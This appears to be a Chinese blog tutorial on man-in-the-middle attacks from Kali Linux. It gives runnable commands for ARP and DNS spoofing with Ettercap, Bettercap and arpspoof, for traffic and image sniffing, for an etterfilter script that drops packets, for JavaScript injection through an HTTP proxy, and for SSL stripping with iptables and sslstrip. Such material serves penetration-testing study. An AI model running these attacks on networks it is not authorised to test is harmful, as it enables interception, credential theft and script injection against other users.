【kali渗透测试】中间人攻击

1. 中间人攻击概述

定义:攻击者插入通信的双方之间,截取、修改或者伪造它们的通信内容。

种类:

(1)ARP 欺骗

利用 ARP 协议的缺陷,使得攻击者可以伪造 MAC 地址,欺骗网络中的其他主机。

(2)DNS 欺骗

利用 DNS 的缺陷,使得攻击者可以伪造 IP 地址,欺骗网络中的其他主机。

2. Ettercap 框架

综合性中间人攻击工具。

(1)开启

kali 终端输入如下命令

bash 复制代码
ettercap -G

(2)选项介绍

  • 启动嗅探
  • 设置主接口:对该接口内的主机进行中间人攻击
  • 开启桥接接口嗅探
  • 设置桥接接口

2.1 执行 arp 欺骗

(1)kali 开启内核转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)嗅探主机

获取目标网络中的主机列表和网关信息

(3)选择目标主机

(4)开始 ARP 欺骗

(5)捕获数据包

Ettercap 只能开启 arp 欺骗,不能查看捕获的数据包。

  • tcpdump 捕获
bash 复制代码
tcpdump -i eth0 host ARP欺骗目标IP地址
  • driftnet 抓取图片
bash 复制代码
apt-get install driftnet
driftnet -i eth0
driftnet -i eth0 -a -d 文件目录

只能抓取未经过加密的数据包中的图片

  • urlsnarf 捕获URL地址
bash 复制代码
urlsnarf -i eth0

2.2 执行 dns 欺骗

执行 dns 欺骗前,需要先进行 arp 欺骗,成为中间人

(1)编辑 /etc/ettercap/etter.dns 文件,添加要欺骗的 dns 记录

bash 复制代码
......
# vim:ts=8:noexpandtab
* A 192.168.18.22

(2)开启 apache 服务器

bash 复制代码
service apache2 start

使得目标主机访问网页的请求通过 dns 记录解析为本机的网站

(3)使用 dns_spoof 插件

2.3 内容过滤

对数据包进行修改或者丢弃,例如:替换网页内容、注入 JavaScript 代码、修改图片、拦截邮件等。

(1)新建脚本文件

以过滤 80 号端口请求为例,新建 killwifi.filter

bash 复制代码
if (ip.proto == TCP && tcp.src == 80 )  //设置过滤请求
{
    kill();
    drop();  //删除该数据包
msg("kill 80 \n");  //提示消息
}

(2)编译脚本

bash 复制代码
etterfilter killwifi.filter -o killwifi.ef

(3)加载脚本

3. Bettercap 框架

对Wi-Fi网络、蓝牙设备、无线HID以及IPv4/IPv6网络进行侦查和中间人攻击

bash 复制代码
apt-get install bettercap
bettercap # 启动交互模式

3.1 执行 arp 欺骗

假设攻击者主机的IP地址是192.168.18.17,目标主机的IP地址是192.168.18.13,网关的IP地址是192.168.18.1

(1)使用 arp.spoof 模块

bash 复制代码
set arp.spoof.targets 192.168.18.13
set arp.spoof.fullduplex true # 设置双向 arp 欺骗,同时欺骗目标主机和网关
arp.spoof on # 启动 arp 欺骗
net.sniff on # 启动流量嗅探
arp.spoof off

3.2 执行 dns 欺骗

假设攻击者主机的IP地址是192.168.8.138,目标主机的IP地址是192.168.8.142,网关的IP地址是192.168.8.1

(1)启动 arp 欺骗

bash 复制代码
set arp.spoof.targets 192.168.8.142
arp.spoof on

(2)启动 dns 欺骗

bash 复制代码
set dns.spoof.domains dns欺骗的域名
set dns.spoof.address 192.168.8.138 # 设置 dns 欺骗的 ip 地址
dns.spoof on
net.sniff on

3.3 注入脚本

使用 Bettercap的http.proxy 模块,可以建立一个 Javascript 文件实现的 http 透明代理。

进行 arp 欺骗后,可以通过这个代理向目标主机浏览的 http 页面注入 Javascript 脚本。

bash 复制代码
setarp.spoof.targets 192.168.8.142
set http.proxy.script/root/xss.js
arp.spoof on
http.proxy on

目标主机访问任何网页,触发 xss.js 脚本。

3.4 CAP 文件

Bettercap 脚本文件

bash 复制代码
bettercap -caplet example.cap
caplets.update
caplets.show

4. arpspoof 发起中间人攻击

进行 arp 欺骗的工具,通过伪造 arp 应答包,使得目标主机或所有主机误认为攻击者的主机是网关。

轻量级、易于使用。

(1)开启 ip 转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)开启 arp 欺骗

bash 复制代码
arpspoof -i eth1 -t 目标主机ip地址 网关ip地址

(3)捕获数据包

bash 复制代码
tcpdump -i eth1 tcp port 80 and host 目标主机ip地址

5. SSL 攻击

ssl 是一种安全传输协议,TLS 是 SSL 的后续版本。使用了对称加密、非对称加密、数字签名等技术。

5.1 SSL 漏洞检测

  • testssl 工具
    检测任何端口上的 tls/ssl 加密服务。
bash 复制代码
wget https://testssl.sh/testssl.sh
chmod +x testssl.sh
/testssl.sh 域名或IP地址
/testssl.sh --heartbleed 域名或IP地址 # 检测特定的漏洞
  • SSLScan 工具
    依赖 OpenSSL 库,功能有局限性。
bash 复制代码
sslscan 域名或IP地址

5.2 SSL 中间人攻击

原理:在客户端于服务器之间插入一个代理,伪造服务器的证书给客户端,形成基于HTTPS的代理

(1)开启 ip 转发功能

bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

(2)将 HTTP 流量重定向到 SSLStrip 工具

bash 复制代码
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5353

(3)监听降级客户端与服务器间的 ssl 通信

bash 复制代码
sslstrip -l 5353

(4)执行 arp 欺骗

bash 复制代码
ettercap -i eth1 -TqM arp:remote //192.168.8.1/ //192.168.8.143/

此时,目标主机访问 https 网页时重定向为 http

相关推荐
枷锁—sha26 分钟前
【CTFshow-pwn系列】03_栈溢出【pwn 051】详解:C++字符串替换引发的血案与 Ret2Text
开发语言·网络·c++·笔记·安全·网络安全
林姜泽樾3 小时前
linux基础第一章,linux的介绍和它和windows的区别
linux·运维·计算机网络·安全·网络安全
Mikowoo0073 小时前
Kali系统_安装靶机
网络安全
苏天夏5 小时前
让 Typecho 拥抱 WebAuthn 无密码时代
安全·网络安全·php·开源软件
小红卒6 小时前
Redis数据库四种getshell方法研究
数据库·redis·网络安全
Rhystt6 小时前
furryCTF 题解|Web方向|保姆级详解|固若金汤、DeepSleep
git·python·安全·web安全·网络安全
一名优秀的码农7 小时前
symfonos系列-symfonos6v2(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
枷锁—sha16 小时前
【pwn系列】Pwndbg 汇编调试实操教程
网络·汇编·笔记·安全·网络安全
qingtian!17 小时前
xray漏洞扫描工具使用教程
网络安全·渗透测试
The_Uniform_C@t221 小时前
论文浅读(第三期)|摘自《UAV Resilience Against Stealthy Attacks》(第一节)
网络·物联网·学习·网络安全